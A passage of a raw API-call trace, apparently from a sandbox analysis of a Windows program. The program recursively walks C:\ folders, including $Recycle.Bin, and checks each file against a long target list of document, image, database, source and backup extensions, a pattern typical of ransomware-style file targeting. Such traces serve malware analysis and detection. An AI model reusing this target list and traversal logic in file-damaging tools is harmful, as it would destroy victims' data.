lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0194.638] lstrlenW (lpString=".dotm") returned 5 [0194.638] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0194.638] lstrlenW (lpString=".dotx") returned 5 [0194.638] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0194.638] lstrlenW (lpString=".dpx") returned 4 [0194.638] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0194.639] lstrlenW (lpString=".dqy") returned 4 [0194.639] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0194.639] lstrlenW (lpString=".dsn") returned 4 [0194.639] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0194.639] lstrlenW (lpString=".dt") returned 3 [0194.639] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0194.639] lstrlenW (lpString=".dtd") returned 4 [0194.639] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0194.639] lstrlenW (lpString=".dwg") returned 4 [0194.639] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0194.639] lstrlenW (lpString=".dwt") returned 4 [0194.639] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0194.639] lstrlenW (lpString=".dx") returned 3 [0194.639] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0194.639] lstrlenW (lpString=".dxf") returned 4 [0194.639] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0194.639] lstrlenW (lpString=".edml") returned 5 [0194.639] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0194.639] lstrlenW (lpString=".efd") returned 4 [0194.639] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0194.639] lstrlenW (lpString=".elf") returned 4 [0194.639] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0194.639] lstrlenW (lpString=".emf") returned 4 [0194.639] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0194.639] lstrlenW (lpString=".emz") returned 4 [0194.639] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0194.639] lstrlenW (lpString=".epf") returned 4 [0194.640] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0194.640] lstrlenW (lpString=".eps") returned 4 [0194.640] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0194.640] lstrlenW (lpString=".epsf") returned 5 [0194.640] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0194.640] lstrlenW (lpString=".epsp") returned 5 [0194.640] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0194.640] lstrlenW (lpString=".erf") returned 4 [0194.640] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0194.640] lstrlenW (lpString=".exr") returned 4 [0194.640] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0194.640] lstrlenW (lpString=".f4v") returned 4 [0194.640] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0194.640] lstrlenW (lpString=".fido") returned 5 [0194.640] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0194.640] lstrlenW (lpString=".flm") returned 4 [0194.640] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0194.640] lstrlenW (lpString=".flv") returned 4 [0194.640] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0194.640] lstrlenW (lpString=".frm") returned 4 [0194.640] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0194.640] lstrlenW (lpString=".fxg") returned 4 [0194.640] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0194.640] lstrlenW (lpString=".geo") returned 4 [0194.640] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0194.640] lstrlenW (lpString=".gif") returned 4 [0194.640] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0194.640] lstrlenW (lpString=".grs") returned 4 [0194.640] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0194.640] lstrlenW (lpString=".gz") returned 3 [0194.640] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0194.640] lstrlenW (lpString=".h") returned 2 [0194.641] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0194.641] lstrlenW (lpString=".hdr") returned 4 [0194.641] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0194.641] lstrlenW (lpString=".hpp") returned 4 [0194.641] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0194.641] lstrlenW (lpString=".hta") returned 4 [0194.641] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0194.641] lstrlenW (lpString=".htc") returned 4 [0194.641] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0194.641] lstrlenW (lpString=".htm") returned 4 [0194.641] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0194.641] lstrlenW (lpString=".html") returned 5 [0194.641] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0194.641] lstrlenW (lpString=".icb") returned 4 [0194.641] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0194.641] lstrlenW (lpString=".ics") returned 4 [0194.641] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0194.641] lstrlenW (lpString=".iff") returned 4 [0194.641] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0194.641] lstrlenW (lpString=".inc") returned 4 [0194.641] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0194.641] lstrlenW (lpString=".indd") returned 5 [0194.641] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0194.641] lstrlenW (lpString=".ini") returned 4 [0194.641] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0194.641] lstrlenW (lpString=".iqy") returned 4 [0194.641] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0194.641] lstrlenW (lpString=".j2c") returned 4 [0194.641] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0194.641] lstrlenW (lpString=".j2k") returned 4 [0194.641] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0194.641] lstrlenW (lpString=".java") returned 5 [0194.641] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0194.642] lstrlenW (lpString=".jp2") returned 4 [0194.642] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0194.642] lstrlenW (lpString=".jpc") returned 4 [0194.642] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0194.642] lstrlenW (lpString=".jpe") returned 4 [0194.642] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0194.642] lstrlenW (lpString=".jpeg") returned 5 [0194.642] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0194.642] lstrlenW (lpString=".jpf") returned 4 [0194.642] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0194.642] lstrlenW (lpString=".jpg") returned 4 [0194.642] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0194.642] lstrlenW (lpString=".jpx") returned 4 [0194.642] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0194.642] lstrlenW (lpString=".js") returned 3 [0194.642] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0194.642] lstrlenW (lpString=".jsf") returned 4 [0194.642] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0194.642] lstrlenW (lpString=".json") returned 5 [0194.642] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0194.642] lstrlenW (lpString=".jsp") returned 4 [0194.642] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0194.642] lstrlenW (lpString=".kdc") returned 4 [0194.642] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0194.642] lstrlenW (lpString=".kmz") returned 4 [0194.642] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0194.642] lstrlenW (lpString=".kwm") returned 4 [0194.642] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0194.642] lstrlenW (lpString=".lasso") returned 6 [0194.642] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0194.642] lstrlenW (lpString=".lbi") returned 4 [0194.642] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0194.643] lstrlenW (lpString=".lgf") returned 4 [0194.643] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0194.643] lstrlenW (lpString=".lgp") returned 4 [0194.643] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0194.643] lstrlenW (lpString=".log") returned 4 [0194.643] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0194.643] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.643] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0194.643] lstrlenW (lpString=".1cd") returned 4 [0194.643] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0194.643] lstrlenW (lpString=".3ds") returned 4 [0194.643] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0194.643] lstrlenW (lpString=".3fr") returned 4 [0194.643] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0194.643] lstrlenW (lpString=".3g2") returned 4 [0194.643] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0194.643] lstrlenW (lpString=".3gp") returned 4 [0194.643] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0194.643] lstrlenW (lpString=".7z") returned 3 [0194.643] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0194.643] lstrlenW (lpString=".accda") returned 6 [0194.643] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1 [0194.643] lstrlenW (lpString=".accdb") returned 6 [0194.643] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0194.643] lstrlenW (lpString=".accdc") returned 6 [0194.643] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0194.643] lstrlenW (lpString=".accde") returned 6 [0194.643] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0194.643] lstrlenW (lpString=".accdt") returned 6 [0194.643] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0194.643] lstrlenW (lpString=".accdw") returned 6 [0194.643] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0194.644] lstrlenW (lpString=".adb") returned 4 [0194.644] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0194.644] lstrlenW (lpString=".adp") returned 4 [0194.644] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0194.644] lstrlenW (lpString=".ai") returned 3 [0194.644] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0194.644] lstrlenW (lpString=".ai3") returned 4 [0194.644] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0194.644] lstrlenW (lpString=".ai4") returned 4 [0194.644] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0194.644] lstrlenW (lpString=".ai5") returned 4 [0194.644] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0194.644] lstrlenW (lpString=".ai6") returned 4 [0194.644] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0194.644] lstrlenW (lpString=".ai7") returned 4 [0194.644] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0194.644] lstrlenW (lpString=".ai8") returned 4 [0194.644] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0194.644] lstrlenW (lpString=".anim") returned 5 [0194.644] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0194.644] lstrlenW (lpString=".arw") returned 4 [0194.644] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0194.644] lstrlenW (lpString=".as") returned 3 [0194.644] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0194.644] lstrlenW (lpString=".asa") returned 4 [0194.644] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0194.644] lstrlenW (lpString=".asc") returned 4 [0194.644] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0194.644] lstrlenW (lpString=".ascx") returned 5 [0194.644] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0194.644] lstrlenW (lpString=".asm") returned 4 [0194.644] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0194.645] lstrlenW (lpString=".asmx") returned 5 [0194.645] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0194.645] lstrlenW (lpString=".asp") returned 4 [0194.645] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0194.645] lstrlenW (lpString=".aspx") returned 5 [0194.645] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0194.645] lstrlenW (lpString=".asr") returned 4 [0194.645] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0194.645] lstrlenW (lpString=".asx") returned 4 [0194.645] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0194.645] lstrlenW (lpString=".avi") returned 4 [0194.645] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0194.645] lstrlenW (lpString=".avs") returned 4 [0194.645] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0194.645] lstrlenW (lpString=".backup") returned 7 [0194.645] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0194.645] lstrlenW (lpString=".bak") returned 4 [0194.645] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0194.645] lstrlenW (lpString=".bay") returned 4 [0194.645] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0194.645] lstrlenW (lpString=".bd") returned 3 [0194.645] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0194.645] lstrlenW (lpString=".bin") returned 4 [0194.645] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0194.645] lstrlenW (lpString=".bmp") returned 4 [0194.645] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0194.645] lstrlenW (lpString=".bz2") returned 4 [0194.645] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0194.645] lstrlenW (lpString=".c") returned 2 [0194.645] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0194.645] lstrlenW (lpString=".cdr") returned 4 [0194.645] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0194.645] lstrlenW (lpString=".cer") returned 4 [0194.646] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0194.646] lstrlenW (lpString=".cf") returned 3 [0194.646] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0194.646] lstrlenW (lpString=".cfc") returned 4 [0194.646] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0194.646] lstrlenW (lpString=".cfm") returned 4 [0194.646] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0194.646] lstrlenW (lpString=".cfml") returned 5 [0194.646] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0194.646] lstrlenW (lpString=".cfu") returned 4 [0194.646] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0194.646] lstrlenW (lpString=".chm") returned 4 [0194.646] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0194.646] lstrlenW (lpString=".cin") returned 4 [0194.646] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0194.646] lstrlenW (lpString=".class") returned 6 [0194.646] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0194.646] lstrlenW (lpString=".clx") returned 4 [0194.646] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0194.646] lstrlenW (lpString=".config") returned 7 [0194.646] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0194.646] lstrlenW (lpString=".cpp") returned 4 [0194.646] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0194.646] lstrlenW (lpString=".cr2") returned 4 [0194.646] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0194.646] lstrlenW (lpString=".crt") returned 4 [0194.646] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0194.646] lstrlenW (lpString=".crw") returned 4 [0194.646] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0194.646] lstrlenW (lpString=".cs") returned 3 [0194.646] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0194.646] lstrlenW (lpString=".css") returned 4 [0194.646] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0194.647] lstrlenW (lpString=".csv") returned 4 [0194.647] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0194.647] lstrlenW (lpString=".cub") returned 4 [0194.647] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0194.647] lstrlenW (lpString=".dae") returned 4 [0194.647] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0194.647] lstrlenW (lpString=".dat") returned 4 [0194.647] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0194.647] lstrlenW (lpString=".db") returned 3 [0194.647] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0194.647] lstrlenW (lpString=".dbf") returned 4 [0194.647] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0194.647] lstrlenW (lpString=".dbx") returned 4 [0194.647] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0194.647] lstrlenW (lpString=".dc3") returned 4 [0194.647] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0194.647] lstrlenW (lpString=".dcm") returned 4 [0194.647] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0194.647] lstrlenW (lpString=".dcr") returned 4 [0194.647] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0194.647] lstrlenW (lpString=".der") returned 4 [0194.647] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0194.647] lstrlenW (lpString=".dib") returned 4 [0194.647] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0194.647] lstrlenW (lpString=".dic") returned 4 [0194.647] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0194.647] lstrlenW (lpString=".dif") returned 4 [0194.647] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0194.647] lstrlenW (lpString=".divx") returned 5 [0194.647] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0194.647] lstrlenW (lpString=".djvu") returned 5 [0194.647] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0194.647] lstrlenW (lpString=".dng") returned 4 [0194.648] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0194.648] lstrlenW (lpString=".doc") returned 4 [0194.648] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0194.648] lstrlenW (lpString=".docm") returned 5 [0194.648] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0194.648] lstrlenW (lpString=".docx") returned 5 [0194.648] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0194.648] lstrlenW (lpString=".dot") returned 4 [0194.648] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0194.648] lstrlenW (lpString=".dotm") returned 5 [0194.648] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0194.648] lstrlenW (lpString=".dotx") returned 5 [0194.648] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0194.648] lstrlenW (lpString=".dpx") returned 4 [0194.648] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0194.648] lstrlenW (lpString=".dqy") returned 4 [0194.648] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0194.648] lstrlenW (lpString=".dsn") returned 4 [0194.648] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0194.648] lstrlenW (lpString=".dt") returned 3 [0194.648] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0194.648] lstrlenW (lpString=".dtd") returned 4 [0194.648] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0194.648] lstrlenW (lpString=".dwg") returned 4 [0194.648] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0194.648] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.648] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0194.648] FindClose (in: hFindFile=0x7a1870 | out: hFindFile=0x7a1870) returned 1 [0194.758] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0194.758] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.758] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0194.758] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1ef0 [0194.789] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.789] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.790] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.790] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.790] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.790] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.790] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0194.792] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0194.793] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0194.793] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 0 [0194.793] FindClose (in: hFindFile=0x7a1c70 | out: hFindFile=0x7a1c70) returned 1 [0194.793] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.794] FindNextFileW (in: hFindFile=0x7a1bb0, lpFindFileData=0x391fcf8 | out: lpFindFileData=0x391fcf8) returned 1 [0194.794] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42a0048 [0194.795] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 0x7a1c70 [0194.798] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.799] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.799] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.799] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1eb0 [0194.799] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.799] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.799] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0194.799] FindClose (in: hFindFile=0x7a1eb0 | out: hFindFile=0x7a1eb0) returned 1 [0194.799] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.799] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.800] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0194.800] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1cf0 [0194.800] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.800] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.800] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0194.800] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0194.800] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0194.800] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 0 [0194.800] FindClose (in: hFindFile=0x7a1c70 | out: hFindFile=0x7a1c70) returned 1 [0194.802] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0048 | out: hHeap=0x790000) returned 1 [0194.803] FindNextFileW (in: hFindFile=0x7a1bb0, lpFindFileData=0x391fcf8 | out: lpFindFileData=0x391fcf8) returned 1 [0194.803] FindNextFileW (in: hFindFile=0x7a1bb0, lpFindFileData=0x391fcf8 | out: lpFindFileData=0x391fcf8) returned 1 [0194.803] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42a0048 [0194.803] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 0x7a1c70 [0194.837] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.839] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.839] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0194.839] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1eb0 [0194.864] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.874] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.874] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.874] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.875] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0194.886] FindClose (in: hFindFile=0x7a1eb0 | out: hFindFile=0x7a1eb0) returned 1 [0194.886] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0194.886] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.886] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0194.886] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1eb0 [0194.897] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.897] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.897] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.897] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.897] FindNextFileW (in: hFindFile=0x7a1eb0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0194.898] FindClose (in: hFindFile=0x7a1eb0 | out: hFindFile=0x7a1eb0) returned 1 [0194.898] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0194.898] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0194.898] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0194.898] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1d30 [0194.899] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0194.899] FindNextFileW (in: hFindFile=0x7a1d30, 